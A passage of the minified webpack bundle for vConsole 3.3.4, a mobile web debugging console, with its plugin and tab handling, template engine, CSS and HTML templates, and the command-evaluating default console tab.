n=i.default.all(".vc-topbar-"+e,this.$dom),r=0;r<n.length;r++)n[r].parentNode.removeChild(n[r]);var a=i.default.one("#__vc_log_"+e);a&&a.parentNode.removeChild(a);for(var l=i.default.all(".vc-tool-"+e,this.$dom),c=0;c<l.length;c++)l[c].parentNode.removeChild(l[c])}var s=this.tabList.indexOf(e);s>-1&&this.tabList.splice(s,1);try{delete this.pluginList[e]}catch(t){this.pluginList[e]=void 0}return this.activedTab==e&&this.tabList.length>0&&this.showTab(this.tabList[0]),!0}},{key:"show",value:function(){if(this.isInited){var e=this;i.default.one(".vc-panel",this.$dom).style.display="block",setTimeout(function(){i.default.addClass(e.$dom,"vc-toggle"),e._triggerPluginsEvent("showConsole"),i.default.one(".vc-mask",e.$dom).style.display="block"},10)}}},{key:"hide",value:function(){if(this.isInited){i.default.removeClass(this.$dom,"vc-toggle"),this._triggerPluginsEvent("hideConsole");var e=i.default.one(".vc-mask",this.$dom),t=i.default.one(".vc-panel",this.$dom);i.default.bind(e,"transitionend",function(o){e.style.display="none",t.style.display="none"})}}},{key:"showSwitch",value:function(){this.isInited&&(i.default.one(".vc-switch",this.$dom).style.display="block")}},{key:"hideSwitch",value:function(){this.isInited&&(i.default.one(".vc-switch",this.$dom).style.display="none")}},{key:"showTab",value:function(e){if(this.isInited){var t=i.default.one("#__vc_log_"+e);i.default.removeClass(i.default.all(".vc-tab",this.$dom),"vc-actived"),i.default.addClass(i.default.one("#__vc_tab_"+e),"vc-actived"),i.default.removeClass(i.default.all(".vc-logbox",this.$dom),"vc-actived"),i.default.addClass(t,"vc-actived");var o=i.default.all(".vc-topbar-"+e,this.$dom);i.default.removeClass(i.default.all(".vc-toptab",this.$dom),"vc-toggle"),i.default.addClass(o,"vc-toggle"),o.length>0?i.default.addClass(i.default.one(".vc-content",this.$dom),"vc-has-topbar"):i.default.removeClass(i.default.one(".vc-content",this.$dom),"vc-has-topbar"),i.default.removeClass(i.default.all(".vc-tool",this.$dom),"vc-toggle"),i.default.addClass(i.default.all(".vc-tool-"+e,this.$dom),"vc-toggle"),this.activedTab&&this._triggerPluginEvent(this.activedTab,"hide"),this.activedTab=e,this._triggerPluginEvent(this.activedTab,"show")}}},{key:"setOption",value:function(e,t){if(r.isString(e))this.option[e]=t,this._triggerPluginsEvent("updateOption");else if(r.isObject(e)){for(var o in e)this.option[o]=e[o];this._triggerPluginsEvent("updateOption")}else console.debug("The first parameter of vConsole.setOption() must be a string or an object.")}},{key:"destroy",value:function(){if(this.isInited){for(var e=Object.keys(this.pluginList),t=e.length-1;t>=0;t--)this.removePlugin(e[t]);this.$dom.parentNode.removeChild(this.$dom),this.isInited=!1}}}])&&_(t.prototype,o),a&&_(t,a),e}();x.VConsolePlugin=v.default,x.VConsoleLogPlugin=f.default,x.VConsoleDefaultPlugin=p.default,x.VConsoleSystemPlugin=b.default,x.VConsoleNetworkPlugin=g.default,x.VConsoleElementPlugin=h.default,x.VConsoleStoragePlugin=m.default;var k=x;o.default=k,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e){e.exports=JSON.parse('{"name":"vconsole","version":"3.3.4","description":"A lightweight, extendable front-end developer tool for mobile web page.","homepage":"https://github.com/Tencent/vConsole","main":"dist/vconsole.min.js","typings":"dist/vconsole.min.d.ts","scripts":{"test":"mocha","build":"webpack"},"keywords":["console","debug","mobile"],"repository":{"type":"git","url":"git+https://github.com/Tencent/vConsole.git"},"dependencies":{},"devDependencies":{"@babel/core":"^7.5.5","@babel/plugin-proposal-class-properties":"^7.5.5","@babel/plugin-proposal-export-namespace-from":"^7.5.2","@babel/plugin-proposal-object-rest-spread":"^7.5.5","@babel/preset-env":"^7.5.5","babel-loader":"^8.0.6","babel-plugin-add-module-exports":"^1.0.2","chai":"^4.2.0","copy-webpack-plugin":"^5.0.4","css-loader":"^3.2.0","html-loader":"^0.5.5","jsdom":"^15.1.1","json-loader":"^0.5.7","less":"^3.10.0","less-loader":"^5.0.0","mocha":"^5.2.0","style-loader":"^1.0.0","webpack":"^4.39.2","webpack-cli":"^3.3.6"},"author":"Tencent","license":"MIT"}')},function(e,t,o){var n,r,i;r=[t],void 0===(i="function"==typeof(n=function(o){"use strict";Object.defineProperty(o,"__esModule",{value:!0}),o.default=function(e,t,o){var n=/\{\{([^\}]+)\}\}/g,r="",i="",a=0,l=[],c=function(e,t){""!==e&&(t?e.match(/^ ?else/g)?r+="} "+e+" {\n":e.match(/\/(if|for|switch)/g)?r+="}\n":e.match(/^ ?if|for|switch/g)?r+=e+" {\n":e.match(/^ ?(break|continue) ?$/g)?r+=e+";\n":e.match(/^ ?(case|default)/g)?r+=e+":\n":r+="arr.push("+e+");\n":r+='arr.push("'+e.replace(/"/g,'\\"')+'");\n')};for(window.__mito_data=t,window.__mito_code="",window.__mito_result="",e=(e=e.replace(/(\{\{ ?switch(.+?)\}\})[\r\n\t ]+\{\{/g,"$1{{")).replace(/^[\r\n]/,"").replace(/\n/g,"\\\n").replace(/\r/g,"\\\r"),i="(function(){\n",r="var arr = [];\n";l=n.exec(e);)c(e.slice(a,l.index),!1),c(l[1],!0),a=l.index+l[0].length;c(e.substr(a,e.length-a),!1),i+=r="with (__mito_data) {\n"+(r+='__mito_result = arr.join("");')+"\n}",i+="})();";var s=document.getElementsByTagName("script"),d="";s.length>0&&(d=s[0].nonce||"");var u=document.createElement("SCRIPT");u.innerHTML=i,u.setAttribute("nonce",d),document.documentElement.appendChild(u);var v=__mito_result;if(document.documentElement.removeChild(u),!o){var f=document.createElement("DIV");f.innerHTML=v,v=f.children[0]}return v},e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t,o){var n=o(12);"string"==typeof n&&(n=[[e.i,n,""]]);var r={insert:"head",singleton:!1};o(5)(n,r);n.locals&&(e.exports=n.locals)},function(e,t,o){(e.exports=o(4)(!1)).push([e.i,'#__vconsole {\n  color: #000;\n  font-size: 13px;\n  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;\n  /* global */\n  /* compoment */\n}\n#__vconsole .vc-max-height {\n  max-height: 19.23076923em;\n}\n#__vconsole .vc-max-height-line {\n  max-height: 3.38461538em;\n}\n#__vconsole .vc-min-height {\n  min-height: 3.07692308em;\n}\n#__vconsole dd,\n#__vconsole dl,\n#__vconsole pre {\n  margin: 0;\n}\n#__vconsole .vc-switch {\n  display: block;\n  position: fixed;\n  right: 0.76923077em;\n  bottom: 0.76923077em;\n  color: #FFF;\n  background-color: #04BE02;\n  line-height: 1;\n  font-size: 1.07692308em;\n  padding: 0.61538462em 1.23076923em;\n  z-index: 10000;\n  border-radius: 0.30769231em;\n  box-shadow: 0 0 0.61538462em rgba(0, 0, 0, 0.4);\n}\n#__vconsole .vc-mask {\n  display: none;\n  position: fixed;\n  top: 0;\n  left: 0;\n  right: 0;\n  bottom: 0;\n  background: rgba(0, 0, 0, 0);\n  z-index: 10001;\n  transition: background 0.3s;\n  -webkit-tap-highlight-color: transparent;\n  overflow-y: scroll;\n}\n#__vconsole .vc-panel {\n  display: none;\n  position: fixed;\n  min-height: 85%;\n  left: 0;\n  right: 0;\n  bottom: 0;\n  z-index: 10002;\n  background-color: #EFEFF4;\n  -webkit-transition: -webkit-transform 0.3s;\n  transition: -webkit-transform 0.3s;\n  transition: transform 0.3s;\n  transition: transform 0.3s, -webkit-transform 0.3s;\n  -webkit-transform: translate(0, 100%);\n  transform: translate(0, 100%);\n}\n#__vconsole .vc-tabbar {\n  border-bottom: 1px solid #D9D9D9;\n  overflow-x: auto;\n  height: 3em;\n  width: auto;\n  white-space: nowrap;\n}\n#__vconsole .vc-tabbar .vc-tab {\n  display: inline-block;\n  line-height: 3em;\n  padding: 0 1.15384615em;\n  border-right: 1px solid #D9D9D9;\n  text-decoration: none;\n  color: #000;\n  -webkit-tap-highlight-color: transparent;\n  -webkit-touch-callout: none;\n}\n#__vconsole .vc-tabbar .vc-tab:active {\n  background-color: rgba(0, 0, 0, 0.15);\n}\n#__vconsole .vc-tabbar .vc-tab.vc-actived {\n  background-color: #FFF;\n}\n#__vconsole .vc-content {\n  background-color: #FFF;\n  overflow-x: hidden;\n  overflow-y: auto;\n  position: absolute;\n  top: 3.07692308em;\n  left: 0;\n  right: 0;\n  bottom: 3.07692308em;\n  -webkit-overflow-scrolling: touch;\n  margin-bottom: constant(safe-area-inset-bottom);\n  margin-bottom: env(safe-area-inset-bottom);\n}\n#__vconsole .vc-content.vc-has-topbar {\n  top: 5.46153846em;\n}\n#__vconsole .vc-topbar {\n  background-color: #FBF9FE;\n  display: flex;\n  display: -webkit-box;\n  flex-direction: row;\n  flex-wrap: wrap;\n  -webkit-box-direction: row;\n  -webkit-flex-wrap: wrap;\n  width: 100%;\n}\n#__vconsole .vc-topbar .vc-toptab {\n  display: none;\n  flex: 1;\n  -webkit-box-flex: 1;\n  line-height: 2.30769231em;\n  padding: 0 1.15384615em;\n  border-bottom: 1px solid #D9D9D9;\n  text-decoration: none;\n  text-align: center;\n  color: #000;\n  -webkit-tap-highlight-color: transparent;\n  -webkit-touch-callout: none;\n}\n#__vconsole .vc-topbar .vc-toptab.vc-toggle {\n  display: block;\n}\n#__vconsole .vc-topbar .vc-toptab:active {\n  background-color: rgba(0, 0, 0, 0.15);\n}\n#__vconsole .vc-topbar .vc-toptab.vc-actived {\n  border-bottom: 1px solid #3e82f7;\n}\n#__vconsole .vc-logbox {\n  display: none;\n  position: relative;\n  min-height: 100%;\n}\n#__vconsole .vc-logbox i {\n  font-style: normal;\n}\n#__vconsole .vc-logbox .vc-log {\n  padding-bottom: 3em;\n  -webkit-tap-highlight-color: transparent;\n}\n#__vconsole .vc-logbox .vc-log:empty:before {\n  content: "Empty";\n  color: #999;\n  position: absolute;\n  top: 45%;\n  left: 0;\n  right: 0;\n  bottom: 0;\n  font-size: 1.15384615em;\n  text-align: center;\n}\n#__vconsole .vc-logbox .vc-item {\n  margin: 0;\n  padding: 0.46153846em 0.61538462em;\n  overflow: hidden;\n  line-height: 1.3;\n  border-bottom: 1px solid #EEE;\n  word-break: break-word;\n}\n#__vconsole .vc-logbox .vc-item-info {\n  color: #6A5ACD;\n}\n#__vconsole .vc-logbox .vc-item-debug {\n  color: #DAA520;\n}\n#__vconsole .vc-logbox .vc-item-warn {\n  color: #FFA500;\n  border-color: #FFB930;\n  background-color: #FFFACD;\n}\n#__vconsole .vc-logbox .vc-item-error {\n  color: #DC143C;\n  border-color: #F4A0AB;\n  background-color: #FFE4E1;\n}\n#__vconsole .vc-logbox .vc-log.vc-log-partly .vc-item {\n  display: none;\n}\n#__vconsole .vc-logbox .vc-log.vc-log-partly-log .vc-item-log,\n#__vconsole .vc-logbox .vc-log.vc-log-partly-info .vc-item-info,\n#__vconsole .vc-logbox .vc-log.vc-log-partly-warn .vc-item-warn,\n#__vconsole .vc-logbox .vc-log.vc-log-partly-error .vc-item-error {\n  display: block;\n}\n#__vconsole .vc-logbox .vc-item .vc-item-content {\n  margin-right: 4.61538462em;\n  display: inline-block;\n}\n#__vconsole .vc-logbox .vc-item .vc-item-repeat {\n  display: inline-block;\n  margin-right: 0.30769231em;\n  padding: 0 6.5px;\n  color: #D7E0EF;\n  background-color: #42597F;\n  border-radius: 8.66666667px;\n}\n#__vconsole .vc-logbox .vc-item.vc-item-error .vc-item-repeat {\n  color: #901818;\n  background-color: #DC2727;\n}\n#__vconsole .vc-logbox .vc-item.vc-item-warn .vc-item-repeat {\n  color: #987D20;\n  background-color: #F4BD02;\n}\n#__vconsole .vc-logbox .vc-item .vc-item-code {\n  display: block;\n  white-space: pre-wrap;\n  overflow: auto;\n  position: relative;\n}\n#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-input,\n#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-output {\n  padding-left: 0.92307692em;\n}\n#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-input:before,\n#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-output:before {\n  content: "›";\n  position: absolute;\n  top: -0.23076923em;\n  left: 0;\n  font-size: 1.23076923em;\n  color: #6A5ACD;\n}\n#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-output:before {\n  content: "‹";\n}\n#__vconsole .vc-logbox .vc-item .vc-fold {\n  display: block;\n  overflow: auto;\n  -webkit-overflow-scrolling: touch;\n}\n#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer {\n  display: block;\n  font-style: italic;\n  padding-left: 0.76923077em;\n  position: relative;\n}\n#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer:active {\n  background-color: #E6E6E6;\n}\n#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer:before {\n  content: "";\n  position: absolute;\n  top: 0.30769231em;\n  left: 0.15384615em;\n  width: 0;\n  height: 0;\n  border: transparent solid 0.30769231em;\n  border-left-color: #000;\n}\n#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer.vc-toggle:before {\n  top: 0.46153846em;\n  left: 0;\n  border-top-color: #000;\n  border-left-color: transparent;\n}\n#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-inner {\n  display: none;\n  margin-left: 0.76923077em;\n}\n#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-inner.vc-toggle {\n  display: block;\n}\n#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-inner .vc-code-key {\n  margin-left: 0.76923077em;\n}\n#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer .vc-code-key {\n  margin-left: 0;\n}\n#__vconsole .vc-logbox .vc-code-key {\n  color: #905;\n}\n#__vconsole .vc-logbox .vc-code-private-key {\n  color: #D391B5;\n}\n#__vconsole .vc-logbox .vc-code-function {\n  color: #905;\n  font-style: italic;\n}\n#__vconsole .vc-logbox .vc-code-number,\n#__vconsole .vc-logbox .vc-code-boolean {\n  color: #0086B3;\n}\n#__vconsole .vc-logbox .vc-code-string {\n  color: #183691;\n}\n#__vconsole .vc-logbox .vc-code-null,\n#__vconsole .vc-logbox .vc-code-undefined {\n  color: #666;\n}\n#__vconsole .vc-logbox .vc-cmd {\n  position: absolute;\n  height: 3.07692308em;\n  left: 0;\n  right: 0;\n  bottom: 0;\n  border-top: 1px solid #D9D9D9;\n  display: block!important;\n}\n#__vconsole .vc-logbox .vc-cmd .vc-cmd-input-wrap {\n  display: block;\n  height: 2.15384615em;\n  margin-right: 3.07692308em;\n  padding: 0.46153846em 0.61538462em;\n}\n#__vconsole .vc-logbox .vc-cmd .vc-cmd-input {\n  width: 100%;\n  border: none;\n  resize: none;\n  outline: none;\n  padding: 0;\n  font-size: 0.92307692em;\n}\n#__vconsole .vc-logbox .vc-cmd .vc-cmd-input::-webkit-input-placeholder {\n  line-height: 2.15384615em;\n}\n#__vconsole .vc-logbox .vc-cmd .vc-cmd-btn {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  width: 3.07692308em;\n  border: none;\n  background-color: #EFEFF4;\n  outline: none;\n  -webkit-touch-callout: none;\n  font-size: 1em;\n}\n#__vconsole .vc-logbox .vc-cmd .vc-cmd-btn:active {\n  background-color: rgba(0, 0, 0, 0.15);\n}\n#__vconsole .vc-logbox .vc-cmd .vc-cmd-prompted {\n  position: fixed;\n  width: 100%;\n  background-color: #FBF9FE;\n  border: 1px solid #D9D9D9;\n  overflow-x: scroll;\n  display: none;\n}\n#__vconsole .vc-logbox .vc-cmd .vc-cmd-prompted li {\n  list-style: none;\n  line-height: 30px;\n  padding: 0 0.46153846em;\n  border-bottom: 1px solid #D9D9D9;\n}\n#__vconsole .vc-logbox .vc-group .vc-group-preview {\n  -webkit-touch-callout: none;\n}\n#__vconsole .vc-logbox .vc-group .vc-group-preview:active {\n  background-color: #E6E6E6;\n}\n#__vconsole .vc-logbox .vc-group .vc-group-detail {\n  display: none;\n  padding: 0 0 0.76923077em 1.53846154em;\n  border-bottom: 1px solid #EEE;\n}\n#__vconsole .vc-logbox .vc-group.vc-actived .vc-group-detail {\n  display: block;\n  background-color: #FBF9FE;\n}\n#__vconsole .vc-logbox .vc-group.vc-actived .vc-table-row {\n  background-color: #FFF;\n}\n#__vconsole .vc-logbox .vc-group.vc-actived .vc-group-preview {\n  background-color: #FBF9FE;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-row {\n  display: flex;\n  display: -webkit-flex;\n  flex-direction: row;\n  flex-wrap: wrap;\n  -webkit-box-direction: row;\n  -webkit-flex-wrap: wrap;\n  overflow: hidden;\n  border-bottom: 1px solid #EEE;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-row.vc-left-border {\n  border-left: 1px solid #EEE;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-col {\n  flex: 1;\n  -webkit-box-flex: 1;\n  padding: 0.23076923em 0.30769231em;\n  border-left: 1px solid #EEE;\n  overflow: auto;\n  white-space: pre-wrap;\n  word-break: break-word;\n  /*white-space: nowrap;\n        text-overflow: ellipsis;*/\n  -webkit-overflow-scrolling: touch;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-col:first-child {\n  border: none;\n}\n#__vconsole .vc-logbox .vc-table .vc-small .vc-table-col {\n  padding: 0 0.30769231em;\n  font-size: 0.92307692em;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-col-2 {\n  flex: 2;\n  -webkit-box-flex: 2;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-col-3 {\n  flex: 3;\n  -webkit-box-flex: 3;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-col-4 {\n  flex: 4;\n  -webkit-box-flex: 4;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-col-5 {\n  flex: 5;\n  -webkit-box-flex: 5;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-col-6 {\n  flex: 6;\n  -webkit-box-flex: 6;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-row-error {\n  border-color: #F4A0AB;\n  background-color: #FFE4E1;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-row-error .vc-table-col {\n  color: #DC143C;\n  border-color: #F4A0AB;\n}\n#__vconsole .vc-logbox .vc-table .vc-table-col-title {\n  font-weight: bold;\n}\n#__vconsole .vc-logbox.vc-actived {\n  display: block;\n}\n#__vconsole .vc-toolbar {\n  border-top: 1px solid #D9D9D9;\n  line-height: 3em;\n  position: absolute;\n  left: 0;\n  right: 0;\n  bottom: 0;\n  display: flex;\n  display: -webkit-box;\n  flex-direction: row;\n  -webkit-box-direction: row;\n}\n#__vconsole .vc-toolbar .vc-tool {\n  display: none;\n  text-decoration: none;\n  color: #000;\n  width: 50%;\n  flex: 1;\n  -webkit-box-flex: 1;\n  text-align: center;\n  position: relative;\n  -webkit-touch-callout: none;\n}\n#__vconsole .vc-toolbar .vc-tool.vc-toggle,\n#__vconsole .vc-toolbar .vc-tool.vc-global-tool {\n  display: block;\n}\n#__vconsole .vc-toolbar .vc-tool:active {\n  background-color: rgba(0, 0, 0, 0.15);\n}\n#__vconsole .vc-toolbar .vc-tool:after {\n  content: " ";\n  position: absolute;\n  top: 0.53846154em;\n  bottom: 0.53846154em;\n  right: 0;\n  border-left: 1px solid #D9D9D9;\n}\n#__vconsole .vc-toolbar .vc-tool-last:after {\n  border: none;\n}\n@supports (bottom: constant(safe-area-inset-bottom)) or (bottom: env(safe-area-inset-bottom)) {\n  #__vconsole .vc-toolbar,\n  #__vconsole .vc-switch {\n    bottom: constant(safe-area-inset-bottom);\n    bottom: env(safe-area-inset-bottom);\n  }\n}\n#__vconsole.vc-toggle .vc-switch {\n  display: none;\n}\n#__vconsole.vc-toggle .vc-mask {\n  background: rgba(0, 0, 0, 0.6);\n  display: block;\n}\n#__vconsole.vc-toggle .vc-panel {\n  -webkit-transform: translate(0, 0);\n  transform: translate(0, 0);\n}\n',""])},function(e,t){e.exports='<div id="__vconsole" class="">\n  <div class="vc-switch">vConsole</div>\n  <div class="vc-mask">\n  </div>\n  <div class="vc-panel">\n    <div class="vc-tabbar">\n    </div>\n    <div class="vc-topbar">\n    </div>\n    <div class="vc-content">\n    </div>\n    <div class="vc-toolbar">\n      <a class="vc-tool vc-global-tool vc-tool-last vc-hide">Hide</a>\n    </div>\n  </div>\n</div>'},function(e,t){e.exports='<a class="vc-tab" data-tab="{{id}}" id="__vc_tab_{{id}}">{{name}}</a>'},function(e,t){e.exports='<div class="vc-logbox" id="__vc_log_{{id}}">\n  \n</div>'},function(e,t){e.exports='<a class="vc-toptab vc-topbar-{{pluginID}}{{if (className)}} {{className}}{{/if}}">{{name}}</a>'},function(e,t){e.exports='<a class="vc-tool vc-tool-{{pluginID}}">{{name}}</a>'},function(e,t){e.exports='<div id="{{_id}}" class="vc-item vc-item-{{logType}} {{style}}">\n\t<div class="vc-item-content"></div>\n</div>'},function(e,t){e.exports='<div class="vc-fold">\n  {{if (lineType == \'obj\')}}\n    <i class="vc-fold-outer">{{outer}}</i>\n    <div class="vc-fold-inner"></div>\n  {{else if (lineType == \'value\')}}\n    <i class="vc-code-{{valueType}}">{{value}}</i>\n  {{else if (lineType == \'kv\')}}\n    <i class="vc-code-key{{if (keyType)}} vc-code-{{keyType}}-key{{/if}}">{{key}}</i>: <i class="vc-code-{{valueType}}">{{value}}</i>\n  {{/if}}\n</div>'},function(e,t){e.exports='<span>\n  <i class="vc-code-key{{if (keyType)}} vc-code-{{keyType}}-key{{/if}}">{{key}}</i>: <i class="vc-code-{{valueType}}">{{value}}</i>\n</span>'},function(module,exports,__webpack_require__){var __WEBPACK_AMD_DEFINE_FACTORY__,__WEBPACK_AMD_DEFINE_ARRAY__,__WEBPACK_AMD_DEFINE_RESULT__,factory;factory=function(_exports,_query,tool,_log,_tabbox_default,_item_code){"use strict";function _interopRequireWildcard(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var o in e)if(Object.prototype.hasOwnProperty.call(e,o)){var n=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,o):{};n.get||n.set?Object.defineProperty(t,o,n):t[o]=e[o]}return t.default=e,t}function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}}function _typeof(e){return(_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function _defineProperties(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function _createClass(e,t,o){return t&&_defineProperties(e.prototype,t),o&&_defineProperties(e,o),e}function _possibleConstructorReturn(e,t){return!t||"object"!==_typeof(t)&&"function"!=typeof t?_assertThisInitialized(e):t}function _assertThisInitialized(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function _get(e,t,o){return(_get="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(e,t,o){var n=_superPropBase(e,t);if(n){var r=Object.getOwnPropertyDescriptor(n,t);return r.get?r.get.call(o):r.value}})(e,t,o||e)}function _superPropBase(e,t){for(;!Object.prototype.hasOwnProperty.call(e,t)&&null!==(e=_getPrototypeOf(e)););return e}function _getPrototypeOf(e){return(_getPrototypeOf=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function _inherits(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&_setPrototypeOf(e,t)}function _setPrototypeOf(e,t){return(_setPrototypeOf=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.default=void 0,_query=_interopRequireDefault(_query),tool=_interopRequireWildcard(tool),_log=_interopRequireDefault(_log),_tabbox_default=_interopRequireDefault(_tabbox_default),_item_code=_interopRequireDefault(_item_code);var VConsoleDefaultTab=function(_VConsoleLogTab){function VConsoleDefaultTab(){var e,t;_classCallCheck(this,VConsoleDefaultTab);for(var o=arguments.length,n=new Array(o),r=0;r<o;r++)n[r]=arguments[r];return(t=_possibleConstructorReturn(this,(e=_getPrototypeOf(VConsoleDefaultTab)).call.apply(e,[this].concat(n)))).tplTabbox=_tabbox_default.default,t}return _inherits(VConsoleDefaultTab,_VConsoleLogTab),_createClass(VConsoleDefaultTab,[{key:"onReady",value:function onReady(){var that=this;_get(_getPrototypeOf(VConsoleDefaultTab.prototype),"onReady",this).call(this),window.winKeys=Object.getOwnPropertyNames(window).sort(),window.keyTypes={};for(var i=0;i<winKeys.length;i++)keyTypes[winKeys[i]]=_typeof(window[winKeys[i]]);var cacheObj={},ID_REGEX=/[a-zA-Z_0-9\$\-\u00A2-\uFFFF]/,retrievePrecedingIdentifier=function(e,t,o){o=o||ID_REGEX;for(var n=[],r=t-1;r>=0&&o.test(e[r]);r--)n.push(e[r]);if(0==n.length){o=/\./;for(var i=t-1;i>=0&&o.test(e[i]);i--)n.push(e[i])}if(0===n.length){var a=e.match(/[\(\)\[\]\{\}]/gi)||[];return a[a.length-1]}return n.reverse().join("")};_query.default.bind(_query.default.one(".vc-cmd-input"),"keyup",function(e){var isDeleteKeyCode=8===e.keyCode||46===e.keyCode,$prompted=_query.default.one(".vc-cmd-prompted");$prompted.style.display="none",$prompted.innerHTML="";var tempValue=this.value,value=retrievePrecedingIdentifier(this.value,this.value.length);if(value&&value.length>0){if(/\(/.test(value)&&!isDeleteKeyCode)return void(_query.default.one(".vc-cmd-input").value+=")");if(/\[/.test(value)&&!isDeleteKeyCode)return void(_query.default.one(".vc-cmd-input").value+="]");if(/\{/.test(value)&&!isDeleteKeyCode)return void(_query.default.one(".vc-cmd-input").value+="}");if("."===value){var key=retrievePrecedingIdentifier(tempValue,tempValue.length-1);if(!cacheObj[key])try{cacheObj[key]=Object.getOwnPropertyNames(eval("("+key+")")).sort()}catch(e){}try{for(var _i3=0;_i3<cacheObj[key].length;_i3++){var $li=document.createElement("li"),_key=cacheObj[key][_i3];$li.innerHTML=_key,$li.onclick=function(){_query.default.one(".vc-cmd-input").value="",_query.default.one(".vc-cmd-input").value=tempValue+this.innerHTML,$prompted.style.display="none"},$prompted.appendChild($li)}}catch(e){}}else if("."!==value.substring(value.length-1)&&value.indexOf(".")<0){for(var _i4=0;_i4<winKeys.length;_i4++)if(winKeys[_i4].toLowerCase().indexOf(value.toLowerCase())>=0){var _$li=document.createElement("li");_$li.innerHTML=winKeys[_i4],_$li.onclick=function(){_query.default.one(".vc-cmd-input").value="",_query.default.one(".vc-cmd-input").value=this.innerHTML,"function"==keyTypes[this.innerHTML]&&(_query.default.one(".vc-cmd-input").value+="()"),$prompted.style.display="none"},$prompted.appendChild(_$li)}}else{var arr=value.split(".");if(cacheObj[arr[0]]){cacheObj[arr[0]].sort();for(var _i5=0;_i5<cacheObj[arr[0]].length;_i5++){var _$li2=document.createElement("li"),_key3=cacheObj[arr[0]][_i5];_key3.indexOf(arr[1])>=0&&(_$li2.innerHTML=_key3,_$li2.onclick=function(){_query.default.one(".vc-cmd-input").value="",_query.default.one(".vc-cmd-input").value=tempValue+this.innerHTML,$prompted.style.display="none"},$prompted.appendChild(_$li2))}}}if($prompted.children.length>0){var m=Math.min(200,31*$prompted.children.length);$prompted.style.display="block",$prompted.style.height=m+"px",$prompted.style.marginTop=-m+"px"}}else $prompted.style.display="none"}),_query.default.bind(_query.default.one(".vc-cmd",this.$tabbox),"submit",function(e){e.preventDefault();var t=_query.default.one(".vc-cmd-input",e.target),o=t.value;t.value="",""!==o&&that.evalCommand(o);var n=_query.default.one(".vc-cmd-prompted");n&&(n.style.display="none")});var code="";code+="if (!!window) {",code+="window.__vConsole_cmd_result = undefined;",code+="window.__vConsole_cmd_error = false;",code+="}";var scriptList=document.getElementsByTagName("script"),nonce="";scriptList.length>0&&(nonce=scriptList[0].nonce||"");var script=document.createElement("SCRIPT");script.innerHTML=code,script.setAttribute("nonce",nonce),document.documentElement.appendChild(script),document.documentElement.removeChild(script)}},{key:"mockConsole",value:function(){_get(_getPrototypeOf(VConsoleDefaultTab.prototype),"mockConsole",this).call(this);var e=this;tool.isFunction(window.onerror)&&(this.windowOnError=window.onerror),window.onerror=function(t,o,n,r,i){var a=t;o&&(a+="\n"+o.replace(location.origin,"")),(n||r)&&(a+=":"+n+":"+r);var l=!!i&&!!i.stack&&i.stack.toString()||"";e.printLog({logType:"error",logs:[a,l],noOrigin:!0}),tool.isFunction(e.windowOnError)&&e.windowOnError.call(window,t,o,n,r,i)}}},{key:"evalCommand",value:function(e){this.printLog({logType:"log",content:_query.default.render(_item_code.default,{content:e,type:"input"}),style:""});var t,o=void 0;try{o=eval.call(window,"("+e+")")}catch(t){try{o=eval.call(window,e)}catch(e){}}tool.isArray(o)||tool.isObject(o)?t=this.getFoldedLine(o):(tool.isNull(o)?o="null":tool.isUndefined(o)?o="undefined":tool.isFunction(o)?o="function()":tool.isString(o)&&(o='"'+o+'"'),t=_query.default.render(_item_code.default,{content:o,type:"output"})),this.printLog({logType:"log",content:t,style:""}),window.winKeys=Object.getOwnPropertyNames(window).sort()}}]),VConsoleDefaultTab}(_log.default),_default=VConsoleDefaultTab;_exports.default=_default,module.exports=exports.default},__WEBPACK_AMD_DEFINE_ARRAY__=[exports,__webpack_require__(1),__webpack_require__(0),__webpack_require__(3),__webpack_require__(22),__webpack_require__(23)],void 